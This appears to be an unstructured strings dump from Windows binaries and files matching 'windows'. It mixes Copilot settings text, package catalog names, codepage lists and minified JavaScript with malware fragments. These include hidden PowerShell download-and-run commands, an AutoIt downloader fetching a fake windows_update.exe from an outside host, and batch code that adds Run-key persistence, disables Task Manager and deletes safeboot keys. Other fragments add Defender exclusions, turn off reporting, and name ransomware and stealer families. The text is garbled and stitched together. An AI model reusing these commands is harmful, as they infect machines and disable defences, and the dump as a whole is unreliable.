s RAM usageAutomatically open Copilot when you sign into WindowsBrowse with Microsoft Copilot, search with Bing, and shop at the Microsoft and Windows stores to earn free rewardsEarn Microsoft Rewards in Microsoft CopilotCopilot connects local browsing data from this profile with the rest of Windows.When turned on, Microsoft Copilot will connect local browsing data from this profile with the rest of Windows. Turning this feature on will help you find information from your history, top sites and recent tabs more easily using features such as the search box on the taskbar in Windows. If you turn off this feature Microsoft Copilot will remove the data shared with Windows on the device and stop sharing any new browsing data from this profile.Save content using Collections in Microsoft CopilotAlways have access to your recent browsing data each time you browse on Microsoft CopilotChoose confirm to stop Microsoft Copilot from importing browser data from other browsers.Application behavior and featuresCustomize general application behavior settings like asking before closing multiple tabs, mouse gesture, and split screenAllow Copilot to save your passwords and keep them safe.Energy saver helps save device battery and reduce power consumption when you
c:\windows\system32\cmd.exe/ccurl-o%temp%\
BaQR$msg=[system.windows.messagebox]::show('theappdoesnotrespond.doyouwanttocontinue?','unknownerror','yesnocancel','error')
c:\windows\system32\cmd.exe/cpowershell-windowstylehidden-command"iex(irm'https://
Microsoft-OneCore-Graphics-IndirectDisplays-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|Microsoft-OneCore-Graphics-IndirectDisplays-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.4202.cat|Microsoft-Windows-Client-Desktop-Required-Package0111~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-Package01~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package0110~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0112~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package01~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package04110~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Features-Package0510~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
Microsoft-Windows-Client-Features-Package05~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Features-Package05~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package05~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Features-Package08~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
Microsoft-Windows-Client-Features-WOW64-Package0112~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-TerminalServices-RemoteApplications-Client-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|
Microsoft-Windows-Wifi-Client-Qualcomm-Qcamain10x64-FOD-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Wifi-Client-Qualcomm-Qcamain10x64-FOD-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Features-Package0010~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package0410~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~en-US~10.0.26100.4768.cat|
Microsoft-Windows-Client-Features-Package0510~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
Microsoft-Windows-Client-Features-Package05~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Features-Package05~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package05~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
	hroughbothwsusandwindows 
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.37
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.38
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.4
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.5
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.6
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.7
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.8
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.9
72^windows.backgroundTasks
72^windows.updateTask
!=Pmutex_local_windows_
0-9_windows
\windows\currentversion\run
\dnf\bieshawo.exe\system32\wahaha.ime
Microsoft.Windows.Audio.EndpointBuilder
Microsoft.Windows.Audio.MultimediaDevice
ROOT\Microsoft\Windows\Defender
ROOT\Microsoft\Windows\Defender
</si><si><txml:space="preserve">&lt;0,</t></si><si><t>syswow64\</t></si><si><t>\windows\</t></si><si><t>",0,0)</t></si>
Windows.Devices.Enumeration
Windows.
d:/build/ob/bora-24843032/src/bora/lib/file/fileIOWindows.c
windows-1257
windows-1258
windows-874-2000
Windows-709
Windows-710
Windows-720
Windows-737
Windows-1361
Windows-10000
Windows-10001
Windows-10002
Windows-10003
Windows-10004
Windows-10005
Windows-10006
Windows-10007
Windows-10008
Windows-10010
Windows-10017
Windows-10021
Windows-10029
Windows-10079
Windows-10081
Windows-10082
Windows-20000
Windows-20001
Windows-20002
Windows-20003
Windows-20004
Windows-20005
Windows-20105
Windows-20106
Windows-20107
Windows-20108
Windows-20269
Windows-20833
Windows-20949
Windows-21027
Windows-29001
Windows-50229
Windows-50930
Windows-50931
Windows-50933
Windows-50935
Windows-50936
Windows-50937
Windows-50939
Windows-51950
Windows-57002
Windows-57003
Windows-57004
Windows-57005
Windows-57006
Windows-57007
Windows-57008
Windows-57009
Windows-57010
Windows-57011
windows-
Windows-
tPartyZeroInput,isFirstPartyTaskbarGleamSupported:e.isFirstPartyTaskbarGleamSupported,isThirdPartyTaskbarGleamSupported:e.isThirdPartyTaskbarGleamSupported}),ki}function r(){return(n.VelocityKeys===null||n.VelocityKeys===void 0?void 0:n.VelocityKeys.isFeatureEnabled(40979072))&&s().isThirdPartyWebSearchSupported}function ba(){return(n.VelocityKeys===null||n.VelocityKeys===void 0?void 0:n.VelocityKeys.isFeatureEnabled(40979072))&&s().isThirdPartyZeroInputSupported}function ka(){return(n.VelocityKeys===null||n.VelocityKeys===void 0?void 0:n.VelocityKeys.isFeatureEnabled(40979072))&&s().shouldSearchLaunchToMRUThirdPartyScope}function da(){return(n.VelocityKeys===null||n.VelocityKeys===void 0?void 0:n.VelocityKeys.isFeatureEnabled(40979072))&&!s().areRecentWebSearchesAllowedInFirstPartyZeroInput}function af(){return(n.VelocityKeys===null||n.VelocityKeys===void 0?void 0:n.VelocityKeys.isFeatureEnabled(40979072))&&!s().isFirstPartyTaskbarGleamSupported}function ga(){return(n.VelocityKeys===null||n.VelocityKeys===void 0?void 0:n.VelocityKeys.isFeatureEnabled(54865932))&&s().isThirdPartyWebSearchSupported}function vf(){return!!n.config.enableDMAWebInAllScope&&(n.VelocityKeys===null||n.VelocityKeys===void 0?void 0:n.VelocityKeys.isFeatureEnabled(56097011))&&s().isThirdPartyWebSearchSupported}function nv(t){return t?!!n.config.enableCoPilotPoweredLocalFileProvider&&(n.VelocityKeys===null||n.VelocityKeys===void 0?void 0:n.VelocityKeys.isFeatureEnabled(52754209)):n.VelocityKeys===null||n.VelocityKeys===void 0?void 0:n.VelocityKeys.isFeatureEnabled(52754209)}function tv(t){return n.config.enableCoPilotPoweredCloudFileProviderAll?t?!!n.config.enableCoPilotPoweredCloudFileProvider&&(n.VelocityKeys===null||n.VelocityKeys===void 0?void 0:n.VelocityKeys.isFeatureEnabled(51742149)):n.VelocityKeys===null||n.VelocityKeys===void 0?void 0:n.VelocityKeys.isFeatureEnabled(51742149):!1}function iv(){if(n.config.iffAlwaysP1&&n.config.impressionRenderingWaitTimeout)return!0;const t=n.config.documentAboveWebByDefault,i=(lf(n.Host.getRegion(),n.Host.getLanguage(),n.config.documentGroupAboveWebLanguageRegionPairs)||vt(n.Host.getLanguage(),n.config.documentAboveWebEnabledLanguages))&&(n.VelocityKeys===null||n.VelocityKeys===void 0?void 0:n.VelocityKeys.isFeatureEnabled(45075103)),r=n.config.documentAboveWebNonEn&&!vt(n.Host.getLanguage(),n.config.documentAboveWebDisabledLanguages)&&(n.VelocityKeys===null||n.VelocityKeys===void 0?void 0:n.VelocityKeys.isFeatureEnabled(45721604)),u=vt(n.Host.getLanguage(),n.config.documentAboveWebDisabledLanguages)&&(n.VelocityKeys===null||n.VelocityKeys===void 0?void 0:n.VelocityKeys.isFeatureEnabled(55759873));return t||i||r||u}function yf(n,t){return ThresholdUtilities.createPromise(i=>{var r;t!=null&&t.url||i({statusCode:0});const u=(r=t.requestType)!==null&&r!==void 0?r:t.body?"POST":"GET",f=u==="GET"?undefined:t.body||"";fetch(t.url,{method:u,body:f,headers:t.headers}).then(r=>{if(r.ok&&r.status===200){const u={statusCode:r.status,readAsStringAsync:()=>ThresholdUtilities.createPromise(i=>r.json().then(n=>{if(typeof n=="object")i(JSON.stringify(n));else{i(null);throw new Error("Response is not in JSON format");}}).catch(u=>{i(null)})),readAsStreamAsync:()=>ThresholdUtilities.createPromise(n=>r.blob().then(t=>n(t)))};i(u)}else i(Object.assign(Object.assign({},r),{statusCode:r.status}))}).catch(r=>{i({statusCode:400})})})}function rv(){return n.isSearchPointsOfFlexibilityEnabled()&&(n.VelocityKeys===null||n.VelocityKeys===void 0?void 0:n.VelocityKeys.isFeatureEnabled(47251916))&&s().isThirdPartyTaskbarGleamSupported}function uv(){if(n.VelocityKeys!==null&&n.VelocityKeys!==void 0)return n.VelocityKeys.isFeatureEnabled(43283005)}function fv(){return document.querySelector(".selected.removeIcon")!==null}function ev(){if(!n.config.enableCodexScope)return!1;const t=n.AccessTokenManager.getWindowsAccountType();return t!==1||!(n.msbHost===null||n.msbHost===void 0?void 0:n.msbHost.isEduTenant())}function sv(){return ov}function hv(){return n.config.useCobaltCSS&&n.RuntimeConfig.AlwaysWide}function cv(t){return n.config.enable
OS=Windows_NT
OS=Windows_NT
!#HSTR:Win32/DestroyWindows10Spying
s9h3cmd.exe/cwindir\system32\rundll32.exe\iupdate.dll
Qpowershell-windowstylehiddeninvoke-webrequest-uri
powershell-windowstylehidden-command"iex(irm'http
Windows,
[activator]::createinstance([type]::gettypefromclsid("13709620-C279-11CE-A49E-444553540000")).windows()
regadd"hklm\software\policies\microsoft\windowsdefender\spynet"/v"spynetreporting"/treg_dword/d"0"/f
%Microsoft Windows Production PCA 20110
Microsoft Windows0
%Microsoft Windows Production PCA 20110
architecture='X86' bitness='64' buildNumber='26200' distroName='Windows' distroVersion='10.0' familyName='Windows' kernelVersion='26200.7840' prettyName='Windows 11 Pro, 64-bit (Build 26200.7840)'
c:/windows/system32/d
c:/windows/system32/drivers/mountmgr.sys
windows7-64
windows7
Windows 7
windows7srv-64
Windows Server 2008 R2 Foundation Edition
Windows Server 2008 R2 Enterprise Edition
Windows Server 2008 R2 Standard Edition
Windows Server 2008 R2 Datacenter Edition
Windows Web Server 2008 R2 Edition
Windows 7 Starter
Windows 7 Home Basic
Windows 7 Home Premium
Windows 7 Ultimate
Windows 7 Professional
Windows 7 Enterprise
windows8srv-64
Windows Server%s 2012
windows8-64
windows8
Windows 8%s
Windows 8%s Pro
Windows 8%s Enterprise
Windows MultiPoint Server 2012%s Standard
Windows MultiPoint Server 2012%s Premium
Windows Server 2012%s Foundation Edition
Windows Server 2012%s Enterprise Edition
Windows Server 2012%s Standard Edition
Windows Server 2012%s Storage Server
Windows Server 2012%s Datacenter Edition
Windows Server 2012%s Essentials Edition
windows2019srv-64
Windows Server 2019
windows9srv-64
Windows Server 2016
windowsUnknown-64
Windows Unknown
Windows 10
Windows 10 Home
Windows 10 Education
Windows 10 Enterprise
Windows 10 IoT Core
Windows 10 Pro for Workstations
Windows 10 Pro
windows9-64
windows9
windows2019srvNext-64
Windows Server 2022
windows2022srvNext-64
Windows Server 2025
Windows 11
Windows 11 Home
Windows 11 EducainCyrillic
windows-949-2000
windows-%d
Windows 11 Enterprise
Windows 11 IoT Core
Windows 11 Pro for Workstations
Windows 11 Pro
windows11-64
windows11
windowsUnknown
Windows
d:/build/ob/bora-24843032/src/bora/lib/misc/hostinfoWindows.c
windows-%u
Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Desktop-Required-Package0410~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-Package0410~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
windows-1252
WindowsCreateString
WindowsGetStringRawBuffer
WindowsIsStringEmpty
WindowsStringHasEmbeddedNull
WindowsCreateStringReference
WindowsDeleteString
WindowsConcatString
WindowsDuplicateString
WindowsCompareStringOrdinal
SLGetWindowsInformationDWORD
C:\WINDOWS\Telekommunikationer.lnkC
Microsoft Windows Third Party Component CA
[WARNING] Network Protection cannot be set to block or audit mode because this is a Windows Server system and AllowNetworkProtectionOnWinServer is not set
[WARNING] Network Protection cannot be set to block or audit mode because this is a downlevel Windows system and AllowNetworkProtectionDownLevel is not set
d:/build/ob/bora-24843032/src/bora/lib/misc/windowsu.c
d:/build/ob/bora-24843032/src/bora/lib/misc/windowsUtil2.c
Microsoft\Windows\Start Menu\Programs\Startup\h.vbsM
Microsoft-OneCore-FirmwareUpdate-HidCfu-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|Microsoft-Windows-Client-Desktop-Required-Package0111~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-Package01~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0112~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0114~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|Microsoft-Windows-Client-Features-Package0011~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Features-Package0111~31bf3856ad364e35~amd64~en-US~10.0.26100.7705.cat|!
Microsoft-Windows-Client-Desktop-Required-Package04102031~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|Microsoft-Windows-Client-Desktop-Required-Package041020~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0411~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0411~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|Microsoft-Windows-Client-Desktop-Required-Package0418~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0418~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-CoreSystem-Security-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|Microsoft-Windows-CoreSystem-Security-Package~31bf3856ad364e35~amd64~~10.0.26100.7309.cat|!
Microsoft-Windows-MSMQ-MMC-OptGroup-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|!
Microsoft-Windows-WindowsMediaPlayer-Troubleshooters-Opt-Package~31bf3856ad364e35~amd64~~10.0.26100.1.cat|
Microsoft-Windows-Client-Desktop-Required-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0011~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0112~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0114~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|Microsoft-Windows-Client-Features-Package0011~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Features-Package0111~31bf3856ad364e35~amd64~en-US~10.0.26100.7705.cat|bf3856ad364e35~amd64~~10.0.26100.1591.cat|
="c:\windows\temp\
2add-mppreference-exclusionpath'c:\windows\temp'"$arg
pcshell\shell\systemsettings\settingsenvironment\dll\windowsgenuineobserver.cpp
EMP=C:\WINDOWS\TEMP$
Windows.ApplicationModel.Background.PhoneTrigger
Windows.ApplicationModel.Background.PushNotificationTrigger
Windows.ApplicationModel.Background.RcsEndUserMessageAvailableTrigger
Windows.ApplicationModel.Background.RfcommConnectionTrigger
Windows.ApplicationModel.Background.SecondaryAuthenticationFactorAuthenticationTrigger
Windows.ApplicationModel.Background.SensorDataThresholdTrigger
Windows.ApplicationModel.Background.SmartCardTrigger
Windows.ApplicationModel.Background.SmsMessageReceivedTrigger
Windows.ApplicationModel.Background.SocketActivityTrigger
Windows.ApplicationModel.Background.StorageLibraryChangeTrackerTrigger
icudt44l/windows-874-2000.cnv
icudt44l/windows-936-2000.cnv
icudt44l/windows-949-2000.cnv
icudt44l/windows-950-2000.cnv
WINDOWS
windows-65001
windows-1201
windows-1200
windows-65000
windows-20127
windows-54936
windows-28592
windows-28593
windows-28594
windows-28595
 .startinfo.windowstyle
cmd/cregaddhklm\software\microsoft\windows\currentversion\run/vautorun/treg_sz/dc:\python30\123.vbs/f
9c:\windows\system32\
(3regaddhklm\software\microsoft\windows\currentversion\policies\system/vdisabletaskmgr/treg_dword/d1/f
windows-20880
windows-20905
windows
windows65001
windows1201
windows1200
windows65000
windows20127
windows54936
windows28592
windows28593
windows28594
windows28595
windows28596
windows28597
windows28598
windows28599
windows28603
windows28605
windows31j
cswindows31j
windows932
windows51932
windows950
windows9502000
windows950
windows936
windows9362000
windows936
windows51949
windows949
windows9492000
windows949
windows8742000
windows874
windows437
windows720
windows737
windows775
windows850
windows852
windows855
windows857
windows858
windows861
windows862
windows866
windows869
windows20866
windows21866
windows1250
windows1251
windows1252
windows1253
windows1254
windows1255
windows1256
windows1257
windows1258
windows1250
windows1251
windows1252
windows1253
windows1254
windows1255
windows1256
windows1257
windows1258
windows10000
windows10006
windows10007
windows10029
windows10081
windows57002
windows57003
windows57006
windows57011
windows57010
windows57007
windows57004
windows57005
windows57008
windows57009
Microsoft.Windows.Firewall.PolicyIoManager
Microsoft.Windows.TlgAggregateInternal
D:\a\_work\1\s\windows\x64\Release\CheckboxWindows\CheckboxWindows.pdb
WINDOWS11
WINDOWS11
Microsoft.Windows.Security.Mpr
Microsoft.Windows.SrumSvc
Microsoft.Windows.Shell.AIX
Microsoft.Windows.AppReadiness
Microsoft.Windows.AppXDeploymentServer
Microsoft.Windows.CDP.CDS
Microsoft-Windows-Perflib
MICROSOFT.WINDOWSSTORE_8WEKYB3D8BBWE!APP
Microsoft.Windows.CDP.AFS
WINDOWS.DATA.DONOTDISTURB.QUIETMOMENT$QUIETMOMENTFOCUS
Microsoft.Windows.CDP.Aggr
Microsoft.Windows.CDP
MICROSOFTWINDOWS.CLIENT.OOBE_CW5N1H2TXYEWY!OOBEHOST
Microsoft.Windows.Defender
Microsoft.Windows.MpeConnectionMonitorLocalDiag
Microsoft.Windows.DefenderCorePrivate
Microsoft.Windows.Defender
WINDOWS.STORAGE.APPLICATIONDATACOMPOSITEVALUE
WINDOWS.APPLICATIONMODEL.BACKGROUND.ALARMTRIGGER
WINDOWS.SYSTEM.PROFILE.EDUCATIONSETTINGS
Microsoft.Windows.Update.Undocked.BrainTrace
-windowstylehidden(new-P
(@Microsoft-Windows-WER-SystemErrorReporting
c:\windows\temp\
fake32=tmp&"\\system32"
Microsoft-Windows-CoreSystem-MSXML6-Package~31bf3856ad364e35~amd64~~10.0.26100.7309.cat
Microsoft-Windows-Client-Desktop-Required-Package0415~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
ms-windows-store://pdp/?productid=9PDJDJS743XF
odopen://launch?scenarioId=47&accounttype=personal&partnerteam=windowssettingsapp.BackupAndRestore
odopen://kfmWizard?launchSource=36&accounttype=personal&partnerteam=windowssettingsapp.BackupAndRestore&scenarioid=47
*Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
M\windows\currentversion\run
ComSpec=C:\WINDOWS\system32\cmd.exe
	COMPUTERNAME=WINDOWS11
Microsoft-Windows-Client-Desktop-Required-Package04110~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
 (windows)
print.pdbmicrosoft.windows.filesystem.printp
windows-
" start= auto displayname= "windows download service"
.php?p=sevenzip&tid=SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
Windows Refresh
B-windowstyle-commandhiddennoise.dat;(new-objectsystem.net.webclient).downloadfile('http://directsomdtinm.ydns.eu/viks1/dfglder.exe','
&windows':f=open(os.getcwd()+'\\mshealth.cfg','r')h=f.
X-$tempdir='c:\windows\temp'
V\windows\currentversion\run'-name'
Windows.
software\microsoft\windows nt\currentversion\svchostportable number service
system32\svchost.exe -k netsvcsglobal\gh0st\\.\minisafedossoftware\kasperskylab\wmihlp\{2c4d4bc6-0793-4956-a9f9-e252435469c0}cvideocap
c:\windows\system32\wow
c:\windows\system32\
open3FDEB171-8F86-9558-0001-69B8DB553683system32\sysjpie
windowsresponby":
\system32\cmd.exe/cren
z1system32b.
virtual rx::WindowSurfaceVkWin32::createSurfaceVk
^\Windows Audio\R?\
\Windows Optimizer\
\Windows-Optimizer\
\Windows VXM\program\
>lv\Windows Firewall\R?\
9x}o>6\Windows FontCache\R?\
\Windows Network Accelerater\v?\
\Winamp\Windows Network Accelerater\v?\
 Windows tieg
 Windows tieg
 Windows tieg
 Windows tieg
 Windows tieg
 Windows tieg
 Windows tieg
 Windows tieg
 Windows 10 jew ver
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.14(
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.17
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.18
Microsoft-Windows-Client-Desktop-Required-Package041020~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-Package04112~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-Package00~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package00~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0010~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|!
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|!
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0414~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0110~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0015~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0015~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|!
Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|!
Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-Package0410~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-Package0410~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
windows 
 Windows 
 Windows 
 Windows 
 Windows 
 Windows 
 Windows 
.P6A_NAEBV?$shared_ptr@VExtensionInfo@implementation@AppExtensions@ApplicationModel@WindowsUdk@winrt@@@std@@@Z
.?AV?$_Binder@U_Unforced@std@@P8UserActivityManager@implementation@UserActivities@ApplicationModel@WindowsUdk@winrt@@EAAX_KV?$basic_string@_WU?$char_traits@_W@s
onecoreuap\shell\windows.storage\fileext.cpp
Microsoft.Windows.Widgets
C:\__w\1\s\src\sdk\Microsoft.Windows.Widgets\x64\Release\Generated Files\winrt\Windows.Security.Cryptography.DataProtection.h
C:\__w\1\s\src\sdk\Microsoft.Windows.Widgets\x64\Release\Generated Files\winrt\Windows.Storage.Streams.h
C:\__w\1\s\src\sdk\Microsoft.Windows.Widgets\x64\Release\Generated Files\winrt\Microsoft.Windows.Widgets.Providers.h
C:\__w\1\s\src\sdk\Microsoft.Windows.Widgets\x64\Release\Generated Files\winrt\Microsoft.Windows.Widgets.Notifications.h
0%ell.exe-windowstyle%
<DLL>C:\WINDOWS\SYSTEM32\UNKNOWNDLL.DLL
JC:\WINDOWS\SYSTEM32\WMPUI.DLL>
C:\WINDOWS\SYSTEM
delete /f /tn updatecfgSetuptrolC:\Windows\updatecfgC:\Windows\setup.vbs
%Microsoft Windows Production PCA 20110
Microsoft Windows0
MC:\TEMP\ransombear.exeC:\TEMP\LaunchRansombear.dllC:\WINDOWS\system32\cmd.exe /c C:\ransombear.exe
colorctaskkill/imexplorer.exe/f>nulregdeletehklm\system\currentcontrolset\control\safeboot/f>nulcopy%0c:\windows\win32.bat>nulregadd"hkcu\software\microsoft\windows\currentversion\run"/vwin32/treg_sz/dc:\windows\win32.bat/fregaddhkcu\software\microsoft\windows\currentversion\policies\system/vdisabletaskmgr/treg_dword/d1/f>nulregaddhkcu\software\microsoft\windows\currentversion\policies\system/vdisableregistrytools/treg_dword/d1/f>
\startup\windows.lnk
xp-9741cd9a.exer-qc:\windows\system32\xp-9741cd9a.exe/..\..\..\..\..\windows\system32\xp-9741cd9a.exe%`xavm
??\c:\windows\system32\.exe
iffileexists(@tempdir&"\windowsupdate.exe")thenfiledelete(@tempdir&"\windowsupdate.exe")endifsleep(1000)$urldownloader="http://rghost.ru/download/50392774/790387da9af9dab9f6a70371dd96cf39003fa59b/windows_update.exe"$directory=@tempdir&"\windowsupdate.exe"inetget($urldownloader,$directory)run($directory)sleep(5000)filedelete(@tempdir&"\windowsupdate.exe")
multi\release\multi.pdbminiiesogou.com/?71017-0001{9a4dda61-1d3a-49b7-9849-dac6cd30a393}C:\Windows\System32\
log.soomeng.comlog.zzinfor.cn115.238.251.56{4D36E972-E325-11CE-BFC1-08002BE10318}'bdgngodom';c:\tao.htmlC:\Windows\System32\blk.ini
svchost-windows-redquired
SystemRoot=C:\WINDOWS
windir=C:\WINDOWS
file.masthost.net/uploads/35/file.bat';"+"$batpath=$env:temp+'\yourfile.bat';"+"invoke-webrequest-uri$baturl-outfile$batpath;"+"start-process-filepath$batpath-windowstylehidden-wait;"+"$startuppath=$env:appdata+'\\microsoft\\windows\\startmenu\\programs\\startup\\yourfile.bat
s\system32
\windows\currentversion\app paths%
We've imported your extensions to the new Microsoft CopilotWe've installed your extensions in the new Microsoft CopilotHelp Microsoft improve our products by sending crash reports, info about how you use Copilot and the websites you visit.By clicking "Accept and get started" you allow Microsoft Copilot to $1update automatically$2 so that you always have the latest improvements. These updates are independent of your Windows update settings.Microsoft Copilot CompatibilitySites on this list will only be able to use the specified content decryption
https://www.google.com/accounts/serviceloginhttp://www.facebook.com/https://login.yahoo.com/config/loginSoftware\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles220D5CD0-853A-11D0-84BC-00C04FD43F8F!#HSTR:MSIL/AgentTesla.RE!MTB
"Windows"
if(navigator.useragent.match(/(symbos|windowsmobile|smartphone|blackberry|ppc|midp|windowsce|mtk|j2me|symbian|series60|android)/i)!==null)window.location="http://inforion.ru/flash/go.php";
C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exeC
GetCurrentWindowsIdentityAndCheckName
c:\windows\system32\
